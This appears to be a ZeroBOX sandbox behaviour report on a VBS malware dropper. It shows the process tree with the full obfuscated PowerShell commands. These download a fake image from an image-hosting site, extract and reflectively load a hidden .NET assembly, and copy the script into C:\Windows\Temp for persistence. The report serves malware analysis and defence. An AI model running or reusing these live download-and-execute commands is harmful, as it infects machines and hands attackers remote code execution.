| ZeroBOX

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\PuttyVbs-File0008765.vbs

    3052
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JaçUApsIYYpLWcBpaçUApsIYYpLWcG0açUApsIYYpLWcYQBnaçUApsIYYpLWcGUaçUApsIYYpLWcVQByaçUApsIYYpLWcGwaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWc9açUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcJwBoaçUApsIYYpLWcHQaçUApsIYYpLWcdaçUApsIYYpLWcBwaçUApsIYYpLWcHMaçUApsIYYpLWcOgaçUApsIYYpLWcvaçUApsIYYpLWcC8açUApsIYYpLWcdQBwaçUApsIYYpLWcGwaçUApsIYYpLWcbwBhaçUApsIYYpLWcGQaçUApsIYYpLWcZaçUApsIYYpLWcBlaçUApsIYYpLWcGkaçUApsIYYpLWcbQBhaçUApsIYYpLWcGcaçUApsIYYpLWcZQBuaçUApsIYYpLWcHMaçUApsIYYpLWcLgBjaçUApsIYYpLWcG8açUApsIYYpLWcbQaçUApsIYYpLWcuaçUApsIYYpLWcGIaçUApsIYYpLWccgaçUApsIYYpLWcvaçUApsIYYpLWcGkaçUApsIYYpLWcbQBhaçUApsIYYpLWcGcaçUApsIYYpLWcZQBzaçUApsIYYpLWcC8açUApsIYYpLWcMaçUApsIYYpLWcaçUApsIYYpLWcwaçUApsIYYpLWcDQaçUApsIYYpLWcLwaçUApsIYYpLWc2açUApsIYYpLWcDQaçUApsIYYpLWcNaçUApsIYYpLWcaçUApsIYYpLWcvaçUApsIYYpLWcDcaçUApsIYYpLWcNaçUApsIYYpLWcaçUApsIYYpLWc5açUApsIYYpLWcC8açUApsIYYpLWcbwByaçUApsIYYpLWcGkaçUApsIYYpLWcZwBpaçUApsIYYpLWcG4açUApsIYYpLWcYQBsaçUApsIYYpLWcC8açUApsIYYpLWcbgBlaçUApsIYYpLWcHcaçUApsIYYpLWcXwBpaçUApsIYYpLWcG0açUApsIYYpLWcYQBnaçUApsIYYpLWcGUaçUApsIYYpLWcLgBqaçUApsIYYpLWcHaçUApsIYYpLWcaçUApsIYYpLWcZwaçUApsIYYpLWc/açUApsIYYpLWcDEaçUApsIYYpLWcNgaçUApsIYYpLWc5açUApsIYYpLWcDgaçUApsIYYpLWcMaçUApsIYYpLWcaçUApsIYYpLWc4açUApsIYYpLWcDQaçUApsIYYpLWcNQaçUApsIYYpLWcyaçUApsIYYpLWcDMaçUApsIYYpLWcJwaçUApsIYYpLWc7açUApsIYYpLWcCQaçUApsIYYpLWcdwBlaçUApsIYYpLWcGIaçUApsIYYpLWcQwBsaçUApsIYYpLWcGkaçUApsIYYpLWcZQBuaçUApsIYYpLWcHQaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWc9açUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcTgBlaçUApsIYYpLWcHcaçUApsIYYpLWcLQBPaçUApsIYYpLWcGIaçUApsIYYpLWcagBlaçUApsIYYpLWcGMaçUApsIYYpLWcdaçUApsIYYpLWcaçUApsIYYpLWcgaçUApsIYYpLWcFMaçUApsIYYpLWceQBzaçUApsIYYpLWcHQaçUApsIYYpLWcZQBtaçUApsIYYpLWcC4açUApsIYYpLWcTgBlaçUApsIYYpLWcHQaçUApsIYYpLWcLgBXaçUApsIYYpLWcGUaçUApsIYYpLWcYgBDaçUApsIYYpLWcGwaçUApsIYYpLWcaQBlaçUApsIYYpLWcG4açUApsIYYpLWcdaçUApsIYYpLWcaçUApsIYYpLWc7açUApsIYYpLWcCQaçUApsIYYpLWcaQBtaçUApsIYYpLWcGEaçUApsIYYpLWcZwBlaçUApsIYYpLWcEIaçUApsIYYpLWceQB0açUApsIYYpLWcGUaçUApsIYYpLWccwaçUApsIYYpLWcgaçUApsIYYpLWcD0açUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWckaçUApsIYYpLWcHcaçUApsIYYpLWcZQBiaçUApsIYYpLWcEMaçUApsIYYpLWcbaçUApsIYYpLWcBpaçUApsIYYpLWcGUaçUApsIYYpLWcbgB0açUApsIYYpLWcC4açUApsIYYpLWcRaçUApsIYYpLWcBvaçUApsIYYpLWcHcaçUApsIYYpLWcbgBsaçUApsIYYpLWcG8açUApsIYYpLWcYQBkaçUApsIYYpLWcEQaçUApsIYYpLWcYQB0açUApsIYYpLWcGEaçUApsIYYpLWcKaçUApsIYYpLWcaçUApsIYYpLWckaçUApsIYYpLWcGkaçUApsIYYpLWcbQBhaçUApsIYYpLWcGcaçUApsIYYpLWcZQBVaçUApsIYYpLWcHIaçUApsIYYpLWcbaçUApsIYYpLWcaçUApsIYYpLWcpaçUApsIYYpLWcDsaçUApsIYYpLWcJaçUApsIYYpLWcBpaçUApsIYYpLWcG0açUApsIYYpLWcYQBnaçUApsIYYpLWcGUaçUApsIYYpLWcVaçUApsIYYpLWcBlaçUApsIYYpLWcHgaçUApsIYYpLWcdaçUApsIYYpLWcaçUApsIYYpLWcgaçUApsIYYpLWcD0açUApsIYYpLWcIaçUApsIYYpLWcBbaçUApsIYYpLWcFMaçUApsIYYpLWceQBzaçUApsIYYpLWcHQaçUApsIYYpLWcZQBtaçUApsIYYpLWcC4açUApsIYYpLWcVaçUApsIYYpLWcBlaçUApsIYYpLWcHgaçUApsIYYpLWcdaçUApsIYYpLWcaçUApsIYYpLWcuaçUApsIYYpLWcEUaçUApsIYYpLWcbgBjaçUApsIYYpLWcG8açUApsIYYpLWcZaçUApsIYYpLWcBpaçUApsIYYpLWcG4açUApsIYYpLWcZwBdaçUApsIYYpLWcDoaçUApsIYYpLWcOgBVaçUApsIYYpLWcFQaçUApsIYYpLWcRgaçUApsIYYpLWc4açUApsIYYpLWcC4açUApsIYYpLWcRwBlaçUApsIYYpLWcHQaçUApsIYYpLWcUwB0açUApsIYYpLWcHIaçUApsIYYpLWcaQBuaçUApsIYYpLWcGcaçUApsIYYpLWcKaçUApsIYYpLWcaçUApsIYYpLWckaçUApsIYYpLWcGkaçUApsIYYpLWcbQBhaçUApsIYYpLWcGcaçUApsIYYpLWcZQBCaçUApsIYYpLWcHkaçUApsIYYpLWcdaçUApsIYYpLWcBlaçUApsIYYpLWcHMaçUApsIYYpLWcKQaçUApsIYYpLWc7açUApsIYYpLWcCQaçUApsIYYpLWccwB0açUApsIYYpLWcGEaçUApsIYYpLWccgB0açUApsIYYpLWcEYaçUApsIYYpLWcbaçUApsIYYpLWcBhaçUApsIYYpLWcGcaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWc9açUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcJwaçUApsIYYpLWc8açUApsIYYpLWcDwaçUApsIYYpLWcQgBBaçUApsIYYpLWcFMaçUApsIYYpLWcRQaçUApsIYYpLWc2açUApsIYYpLWcDQaçUApsIYYpLWcXwBTaçUApsIYYpLWcFQaçUApsIYYpLWcQQBSaçUApsIYYpLWcFQaçUApsIYYpLWcPgaçUApsIYYpLWc+açUApsIYYpLWcCcaçUApsIYYpLWcOwaçUApsIYYpLWckaçUApsIYYpLWcGUaçUApsIYYpLWcbgBkaçUApsIYYpLWcEYaçUApsIYYpLWcbaçUApsIYYpLWcBhaçUApsIYYpLWcGcaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWc9açUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcJwaçUApsIYYpLWc8açUApsIYYpLWcDwaçUApsIYYpLWcQgBBaçUApsIYYpLWcFMaçUApsIYYpLWcRQaçUApsIYYpLWc2açUApsIYYpLWcDQaçUApsIYYpLWcXwBFaçUApsIYYpLWcE4açUApsIYYpLWcRaçUApsIYYpLWcaçUApsIYYpLWc+açUApsIYYpLWcD4açUApsIYYpLWcJwaçUApsIYYpLWc7açUApsIYYpLWcCQaçUApsIYYpLWccwB0açUApsIYYpLWcGEaçUApsIYYpLWccgB0açUApsIYYpLWcEkaçUApsIYYpLWcbgBkaçUApsIYYpLWcGUaçUApsIYYpLWceaçUApsIYYpLWcaçUApsIYYpLWcgaçUApsIYYpLWcD0açUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWckaçUApsIYYpLWcGkaçUApsIYYpLWcbQBhaçUApsIYYpLWcGcaçUApsIYYpLWcZQBUaçUApsIYYpLWcGUaçUApsIYYpLWceaçUApsIYYpLWcB0açUApsIYYpLWcC4açUApsIYYpLWcSQBuaçUApsIYYpLWcGQaçUApsIYYpLWcZQB4açUApsIYYpLWcE8açUApsIYYpLWcZgaçUApsIYYpLWcoaçUApsIYYpLWcCQaçUApsIYYpLWccwB0açUApsIYYpLWcGEaçUApsIYYpLWccgB0açUApsIYYpLWcEYaçUApsIYYpLWcbaçUApsIYYpLWcBhaçUApsIYYpLWcGcaçUApsIYYpLWcKQaçUApsIYYpLWc7açUApsIYYpLWcCQaçUApsIYYpLWcZQBuaçUApsIYYpLWcGQaçUApsIYYpLWcSQBuaçUApsIYYpLWcGQaçUApsIYYpLWcZQB4açUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcPQaçUApsIYYpLWcgaçUApsIYYpLWcCQaçUApsIYYpLWcaQBtaçUApsIYYpLWcGEaçUApsIYYpLWcZwBlaçUApsIYYpLWcFQaçUApsIYYpLWcZQB4açUApsIYYpLWcHQaçUApsIYYpLWcLgBJaçUApsIYYpLWcG4açUApsIYYpLWcZaçUApsIYYpLWcBlaçUApsIYYpLWcHgaçUApsIYYpLWcTwBmaçUApsIYYpLWcCgaçUApsIYYpLWcJaçUApsIYYpLWcBlaçUApsIYYpLWcG4açUApsIYYpLWcZaçUApsIYYpLWcBGaçUApsIYYpLWcGwaçUApsIYYpLWcYQBnaçUApsIYYpLWcCkaçUApsIYYpLWcOwaçUApsIYYpLWckaçUApsIYYpLWcHMaçUApsIYYpLWcdaçUApsIYYpLWcBhaçUApsIYYpLWcHIaçUApsIYYpLWcdaçUApsIYYpLWcBJaçUApsIYYpLWcG4açUApsIYYpLWcZaçUApsIYYpLWcBlaçUApsIYYpLWcHgaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWctaçUApsIYYpLWcGcaçUApsIYYpLWcZQaçUApsIYYpLWcgaçUApsIYYpLWcDaçUApsIYYpLWcaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWctaçUApsIYYpLWcGEaçUApsIYYpLWcbgBkaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcJaçUApsIYYpLWcBlaçUApsIYYpLWcG4açUApsIYYpLWcZaçUApsIYYpLWcBJaçUApsIYYpLWcG4açUApsIYYpLWcZaçUApsIYYpLWcBlaçUApsIYYpLWcHgaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWctaçUApsIYYpLWcGcaçUApsIYYpLWcdaçUApsIYYpLWcaçUApsIYYpLWcgaçUApsIYYpLWcCQaçUApsIYYpLWccwB0açUApsIYYpLWcGEaçUApsIYYpLWccgB0açUApsIYYpLWcEkaçUApsIYYpLWcbgBkaçUApsIYYpLWcGUaçUApsIYYpLWceaçUApsIYYpLWcaçUApsIYYpLWc7açUApsIYYpLWcCQaçUApsIYYpLWccwB0açUApsIYYpLWcGEaçUApsIYYpLWccgB0açUApsIYYpLWcEkaçUApsIYYpLWcbgBkaçUApsIYYpLWcGUaçUApsIYYpLWceaçUApsIYYpLWcaçUApsIYYpLWcgaçUApsIYYpLWcCsaçUApsIYYpLWcPQaçUApsIYYpLWcgaçUApsIYYpLWcCQaçUApsIYYpLWccwB0açUApsIYYpLWcGEaçUApsIYYpLWccgB0açUApsIYYpLWcEYaçUApsIYYpLWcbaçUApsIYYpLWcBhaçUApsIYYpLWcGcaçUApsIYYpLWcLgBMaçUApsIYYpLWcGUaçUApsIYYpLWcbgBnaçUApsIYYpLWcHQaçUApsIYYpLWcaaçUApsIYYpLWcaçUApsIYYpLWc7açUApsIYYpLWcCQaçUApsIYYpLWcYgBhaçUApsIYYpLWcHMaçUApsIYYpLWcZQaçUApsIYYpLWc2açUApsIYYpLWcDQaçUApsIYYpLWcTaçUApsIYYpLWcBlaçUApsIYYpLWcG4açUApsIYYpLWcZwB0açUApsIYYpLWcGgaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWc9açUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcJaçUApsIYYpLWcBlaçUApsIYYpLWcG4açUApsIYYpLWcZaçUApsIYYpLWcBJaçUApsIYYpLWcG4açUApsIYYpLWcZaçUApsIYYpLWcBlaçUApsIYYpLWcHgaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWctaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcJaçUApsIYYpLWcBzaçUApsIYYpLWcHQaçUApsIYYpLWcYQByaçUApsIYYpLWcHQaçUApsIYYpLWcSQBuaçUApsIYYpLWcGQaçUApsIYYpLWcZQB4açUApsIYYpLWcDsaçUApsIYYpLWcJaçUApsIYYpLWcBiaçUApsIYYpLWcGEaçUApsIYYpLWccwBlaçUApsIYYpLWcDYaçUApsIYYpLWcNaçUApsIYYpLWcBDaçUApsIYYpLWcG8açUApsIYYpLWcbQBtaçUApsIYYpLWcGEaçUApsIYYpLWcbgBkaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcPQaçUApsIYYpLWcgaçUApsIYYpLWcCQaçUApsIYYpLWcaQBtaçUApsIYYpLWcGEaçUApsIYYpLWcZwBlaçUApsIYYpLWcFQaçUApsIYYpLWcZQB4açUApsIYYpLWcHQaçUApsIYYpLWcLgBTaçUApsIYYpLWcHUaçUApsIYYpLWcYgBzaçUApsIYYpLWcHQaçUApsIYYpLWccgBpaçUApsIYYpLWcG4açUApsIYYpLWcZwaçUApsIYYpLWcoaçUApsIYYpLWcCQaçUApsIYYpLWccwB0açUApsIYYpLWcGEaçUApsIYYpLWccgB0açUApsIYYpLWcEkaçUApsIYYpLWcbgBkaçUApsIYYpLWcGUaçUApsIYYpLWceaçUApsIYYpLWcaçUApsIYYpLWcsaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcJaçUApsIYYpLWcBiaçUApsIYYpLWcGEaçUApsIYYpLWccwBlaçUApsIYYpLWcDYaçUApsIYYpLWcNaçUApsIYYpLWcBMaçUApsIYYpLWcGUaçUApsIYYpLWcbgBnaçUApsIYYpLWcHQaçUApsIYYpLWcaaçUApsIYYpLWcaçUApsIYYpLWcpaçUApsIYYpLWcDsaçUApsIYYpLWcJaçUApsIYYpLWcBjaçUApsIYYpLWcG8açUApsIYYpLWcbQBtaçUApsIYYpLWcGEaçUApsIYYpLWcbgBkaçUApsIYYpLWcEIaçUApsIYYpLWceQB0açUApsIYYpLWcGUaçUApsIYYpLWccwaçUApsIYYpLWcgaçUApsIYYpLWcD0açUApsIYYpLWcIaçUApsIYYpLWcBbaçUApsIYYpLWcFMaçUApsIYYpLWceQBzaçUApsIYYpLWcHQaçUApsIYYpLWcZQBtaçUApsIYYpLWcC4açUApsIYYpLWcQwBvaçUApsIYYpLWcG4açUApsIYYpLWcdgBlaçUApsIYYpLWcHIaçUApsIYYpLWcdaçUApsIYYpLWcBdaçUApsIYYpLWcDoaçUApsIYYpLWcOgBGaçUApsIYYpLWcHIaçUApsIYYpLWcbwBtaçUApsIYYpLWcEIaçUApsIYYpLWcYQBzaçUApsIYYpLWcGUaçUApsIYYpLWcNgaçUApsIYYpLWc0açUApsIYYpLWcFMaçUApsIYYpLWcdaçUApsIYYpLWcByaçUApsIYYpLWcGkaçUApsIYYpLWcbgBnaçUApsIYYpLWcCgaçUApsIYYpLWcJaçUApsIYYpLWcBiaçUApsIYYpLWcGEaçUApsIYYpLWccwBlaçUApsIYYpLWcDYaçUApsIYYpLWcNaçUApsIYYpLWcBDaçUApsIYYpLWcG8açUApsIYYpLWcbQBtaçUApsIYYpLWcGEaçUApsIYYpLWcbgBkaçUApsIYYpLWcCkaçUApsIYYpLWcOwaçUApsIYYpLWckaçUApsIYYpLWcGwaçUApsIYYpLWcbwBhaçUApsIYYpLWcGQaçUApsIYYpLWcZQBkaçUApsIYYpLWcEEaçUApsIYYpLWccwBzaçUApsIYYpLWcGUaçUApsIYYpLWcbQBiaçUApsIYYpLWcGwaçUApsIYYpLWceQaçUApsIYYpLWcgaçUApsIYYpLWcD0açUApsIYYpLWcIaçUApsIYYpLWcBbaçUApsIYYpLWcFMaçUApsIYYpLWceQBzaçUApsIYYpLWcHQaçUApsIYYpLWcZQBtaçUApsIYYpLWcC4açUApsIYYpLWcUgBlaçUApsIYYpLWcGYaçUApsIYYpLWcbaçUApsIYYpLWcBlaçUApsIYYpLWcGMaçUApsIYYpLWcdaçUApsIYYpLWcBpaçUApsIYYpLWcG8açUApsIYYpLWcbgaçUApsIYYpLWcuaçUApsIYYpLWcEEaçUApsIYYpLWccwBzaçUApsIYYpLWcGUaçUApsIYYpLWcbQBiaçUApsIYYpLWcGwaçUApsIYYpLWceQBdaçUApsIYYpLWcDoaçUApsIYYpLWcOgBMaçUApsIYYpLWcG8açUApsIYYpLWcYQBkaçUApsIYYpLWcCgaçUApsIYYpLWcJaçUApsIYYpLWcBjaçUApsIYYpLWcG8açUApsIYYpLWcbQBtaçUApsIYYpLWcGEaçUApsIYYpLWcbgBkaçUApsIYYpLWcEIaçUApsIYYpLWceQB0açUApsIYYpLWcGUaçUApsIYYpLWccwaçUApsIYYpLWcpaçUApsIYYpLWcDsaçUApsIYYpLWcJaçUApsIYYpLWcB0açUApsIYYpLWcHkaçUApsIYYpLWccaçUApsIYYpLWcBlaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcPQaçUApsIYYpLWcgaçUApsIYYpLWcCQaçUApsIYYpLWcbaçUApsIYYpLWcBvaçUApsIYYpLWcGEaçUApsIYYpLWcZaçUApsIYYpLWcBlaçUApsIYYpLWcGQaçUApsIYYpLWcQQBzaçUApsIYYpLWcHMaçUApsIYYpLWcZQBtaçUApsIYYpLWcGIaçUApsIYYpLWcbaçUApsIYYpLWcB5açUApsIYYpLWcC4açUApsIYYpLWcRwBlaçUApsIYYpLWcHQaçUApsIYYpLWcVaçUApsIYYpLWcB5açUApsIYYpLWcHaçUApsIYYpLWcaçUApsIYYpLWcZQaçUApsIYYpLWcoaçUApsIYYpLWcCcaçUApsIYYpLWcRgBpaçUApsIYYpLWcGIaçUApsIYYpLWcZQByaçUApsIYYpLWcC4açUApsIYYpLWcSaçUApsIYYpLWcBvaçUApsIYYpLWcG0açUApsIYYpLWcZQaçUApsIYYpLWcnaçUApsIYYpLWcCkaçUApsIYYpLWcOwaçUApsIYYpLWckaçUApsIYYpLWcG0açUApsIYYpLWcZQB0açUApsIYYpLWcGgaçUApsIYYpLWcbwBkaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcPQaçUApsIYYpLWcgaçUApsIYYpLWcCQaçUApsIYYpLWcdaçUApsIYYpLWcB5açUApsIYYpLWcHaçUApsIYYpLWcaçUApsIYYpLWcZQaçUApsIYYpLWcuaçUApsIYYpLWcEcaçUApsIYYpLWcZQB0açUApsIYYpLWcE0açUApsIYYpLWcZQB0açUApsIYYpLWcGgaçUApsIYYpLWcbwBkaçUApsIYYpLWcCgaçUApsIYYpLWcJwBWaçUApsIYYpLWcEEaçUApsIYYpLWcSQaçUApsIYYpLWcnaçUApsIYYpLWcCkaçUApsIYYpLWcLgBJaçUApsIYYpLWcG4açUApsIYYpLWcdgBvaçUApsIYYpLWcGsaçUApsIYYpLWcZQaçUApsIYYpLWcoaçUApsIYYpLWcCQaçUApsIYYpLWcbgB1açUApsIYYpLWcGwaçUApsIYYpLWcbaçUApsIYYpLWcaçUApsIYYpLWcsaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcWwBvaçUApsIYYpLWcGIaçUApsIYYpLWcagBlaçUApsIYYpLWcGMaçUApsIYYpLWcdaçUApsIYYpLWcBbaçUApsIYYpLWcF0açUApsIYYpLWcXQaçUApsIYYpLWcgaçUApsIYYpLWcCgaçUApsIYYpLWcJwBkaçUApsIYYpLWcEgaçUApsIYYpLWcaaçUApsIYYpLWcaçUApsIYYpLWcwaçUApsIYYpLWcEwaçUApsIYYpLWcbgBOaçUApsIYYpLWcHIaçUApsIYYpLWcYgBtaçUApsIYYpLWcGwaçUApsIYYpLWcTQBlaçUApsIYYpLWcFgaçUApsIYYpLWcUgaçUApsIYYpLWcwaçUApsIYYpLWcGQaçUApsIYYpLWcVgBBaçUApsIYYpLWcHYaçUApsIYYpLWcWgBXaçUApsIYYpLWcHgaçUApsIYYpLWccaçUApsIYYpLWcBaaçUApsIYYpLWcGkaçUApsIYYpLWcOaçUApsIYYpLWcB5açUApsIYYpLWcE0açUApsIYYpLWcVaçUApsIYYpLWcBJaçUApsIYYpLWcHUaçUApsIYYpLWcTQB6açUApsIYYpLWcEUaçUApsIYYpLWceaçUApsIYYpLWcBMaçUApsIYYpLWcGoaçUApsIYYpLWcVQaçUApsIYYpLWczaçUApsIYYpLWcE0açUApsIYYpLWcUwaçUApsIYYpLWc0açUApsIYYpLWcDMaçUApsIYYpLWcTQBEaçUApsIYYpLWcEUaçUApsIYYpLWcdgBMaçUApsIYYpLWcHoaçUApsIYYpLWccaçUApsIYYpLWcB3açUApsIYYpLWcGQaçUApsIYYpLWcSaçUApsIYYpLWcBSaçUApsIYYpLWcG8açUApsIYYpLWcJwaçUApsIYYpLWcgaçUApsIYYpLWcCwaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWcnaçUApsIYYpLWcCcaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWcsaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcJwaçUApsIYYpLWcyaçUApsIYYpLWcCcaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWcsaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcJwBHaçUApsIYYpLWcG8açUApsIYYpLWcbwBnaçUApsIYYpLWcGwaçUApsIYYpLWcZQaçUApsIYYpLWcnaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcLaçUApsIYYpLWcaçUApsIYYpLWcgaçUApsIYYpLWcCcaçUApsIYYpLWcMQaçUApsIYYpLWcnaçUApsIYYpLWcCaçUApsIYYpLWcaçUApsIYYpLWcLaçUApsIYYpLWcaçUApsIYYpLWcgaçUApsIYYpLWcCcaçUApsIYYpLWcQwaçUApsIYYpLWc6açUApsIYYpLWcFwaçUApsIYYpLWcVwBpaçUApsIYYpLWcG4açUApsIYYpLWcZaçUApsIYYpLWcBvaçUApsIYYpLWcHcaçUApsIYYpLWccwBcaçUApsIYYpLWcFQaçUApsIYYpLWcZQBtaçUApsIYYpLWcHaçUApsIYYpLWcaçUApsIYYpLWcXaçUApsIYYpLWcaçUApsIYYpLWcnaçUApsIYYpLWcCwaçUApsIYYpLWcIaçUApsIYYpLWcaçUApsIYYpLWcnaçUApsIYYpLWcEMaçUApsIYYpLWcaaçUApsIYYpLWcByaçUApsIYYpLWcG8açUApsIYYpLWcbQBlaçUApsIYYpLWcCcaçUApsIYYpLWcKQaçUApsIYYpLWcpaçUApsIYYpLWcaçUApsIYYpLWc==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('açUApsIYYpLWc','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2184
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_image.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LnNrbmlMeXR0dVAvZWxpZi8yMTIuMzExLjU3MS43MDEvLzpwdHRo' , '' , '2' , 'Google' , '1' , 'C:\Windows\Temp\', 'Chrome'))"

        1228
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Google.vbs -Force }

      2276

Process contents

No process loaded Click on a process in the tree above to load its data.